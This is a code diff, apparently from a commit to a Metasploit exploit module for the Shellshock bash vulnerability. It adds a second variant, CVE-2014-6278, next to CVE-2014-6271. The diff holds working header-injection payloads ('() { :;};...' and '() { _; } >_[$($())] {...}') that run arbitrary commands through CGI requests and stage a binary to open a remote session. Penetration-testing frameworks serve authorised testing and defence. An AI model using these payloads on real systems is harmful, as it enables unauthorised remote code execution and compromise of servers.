@@ -22,10 +22,12 @@ def initialize(info = {})
22
22
'Author' => [
23
23
'Stephane Chazelas' , # Vulnerability discovery
24
24
'wvu' , # Original Metasploit aux module
25
- 'juan vazquez' # Allow wvu's module to get native sessions
25
+ 'juan vazquez' , # Allow wvu's module to get native sessions
26
+ 'lcamtuf' # CVE-2014-6278
26
27
] ,
27
28
'References' => [
28
29
[ 'CVE' , '2014-6271' ] ,
30
+ [ 'CVE' , '2014-6278' ] ,
29
31
[ 'OSVDB' , '112004' ] ,
30
32
[ 'EDB' , '34765' ] ,
31
33
[ 'URL' , 'https://access.redhat.com/articles/1200223' ] ,
@@ -64,12 +66,13 @@ def initialize(info = {})
64
66
OptString . new ( 'HEADER' , [ true , 'HTTP header to use' , 'User-Agent' ] ) ,
65
67
OptInt . new ( 'CMD_MAX_LENGTH' , [ true , 'CMD max line length' , 2048 ] ) ,
66
68
OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries used by the CmdStager' , '/bin' ] ) ,
67
- OptInt . new ( 'TIMEOUT' , [ true , 'HTTP read response timeout (seconds)' , 5 ] )
69
+ OptInt . new ( 'TIMEOUT' , [ true , 'HTTP read response timeout (seconds)' , 5 ] ) ,
70
+ OptEnum . new ( 'CVE' , [ true , 'CVE to check/exploit' , 'CVE-2014-6271' , [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ] )
68
71
] , self . class )
69
72
end
70
73
71
74
def check
72
- res = req ( "echo #{ marker } " )
75
+ res = req ( "echo #{ marker } " , datastore [ 'CVE' ] )
73
76
74
77
if res && res . body . include? ( marker * 3 )
75
78
return Exploit ::CheckCode ::Vulnerable
@@ -105,31 +108,42 @@ def exploit
105
108
# A last chance after the cmdstager
106
109
# Trying to make it generic
107
110
unless session_created?
108
- req ( "#{ stager_instance . instance_variable_get ( "@tempdir" ) } #{ stager_instance . instance_variable_get ( "@var_elf" ) } " )
111
+ req ( "#{ stager_instance . instance_variable_get ( "@tempdir" ) } #{ stager_instance . instance_variable_get ( "@var_elf" ) } " , datastore [ 'CVE' ] )
109
112
end
110
113
end
111
114
112
115
def execute_command ( cmd , opts )
113
116
cmd . gsub! ( 'chmod' , "#{ datastore [ 'RPATH' ] } /chmod" )
114
117
115
- req ( cmd )
118
+ req ( cmd , datastore [ 'CVE' ] )
116
119
end
117
120
118
- def req ( cmd )
121
+ def req ( cmd , cve )
122
+ case cve
123
+ when 'CVE-2014-6271'
124
+ sploit = cve_2014_6271 ( cmd )
125
+ when 'CVE-2014-6278'
126
+ sploit = cve_2014_6278 ( cmd )
127
+ end
128
+
119
129
send_request_cgi (
120
130
{
121
131
'method' => datastore [ 'METHOD' ] ,
122
132
'uri' => normalize_uri ( target_uri . path . to_s ) ,
123
133
'headers' => {
124
- datastore [ 'HEADER' ] => sploit ( cmd )
134
+ datastore [ 'HEADER' ] => sploit
125
135
}
126
136
} , datastore [ 'TIMEOUT' ] )
127
137
end
128
138
129
- def sploit ( cmd )
139
+ def cve_2014_6271 ( cmd )
130
140
%Q{() { :;};echo -e "\\ r\\ n#{ marker } $(#{ cmd } )#{ marker } "}
131
141
end
132
142
143
+ def cve_2014_6278 ( cmd )
144
+ %Q{() { _; } >_[$($())] { echo -e "\\ r\\ n#{ marker } $(#{ cmd } )#{ marker } "; }}
145
+ end
146
+
133
147
def marker
134
148
@marker ||= rand_text_alphanumeric ( rand ( 42 ) + 1 )
135
149
end
0 commit comments